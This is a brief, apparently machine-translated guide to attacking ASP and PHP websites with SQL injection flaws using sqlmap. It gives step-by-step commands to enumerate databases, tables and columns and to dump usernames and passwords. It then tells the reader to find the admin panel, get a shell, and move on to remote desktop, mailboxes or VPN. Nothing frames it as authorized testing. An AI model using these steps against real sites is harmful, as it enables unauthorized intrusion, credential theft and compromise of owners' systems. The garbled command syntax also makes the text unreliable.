Sqlmap attack ASP, PHP sites with injection points

Find the injection point

1, set sqlmap-u address--dbs--current-user,

2, set Sqlmap-u address--tables guess the table name, or--dbms MySQL--tables

3. Set Sqlmap-u address-t uname (table name)--columns guess the column name

4, set sqlmap-u address-t uname (table name)-C login-name,pass,username (column name, separated by commas)--dump get data

5, access to login account and password, to find the management login, generally more covert, can be through the tools, contact us Corner, source files and so get

6, enter the background, and then try to get shell,3389 port open, into the mailbox or VPN and so on

Sqlmap attack ASP, PHP sites with injection points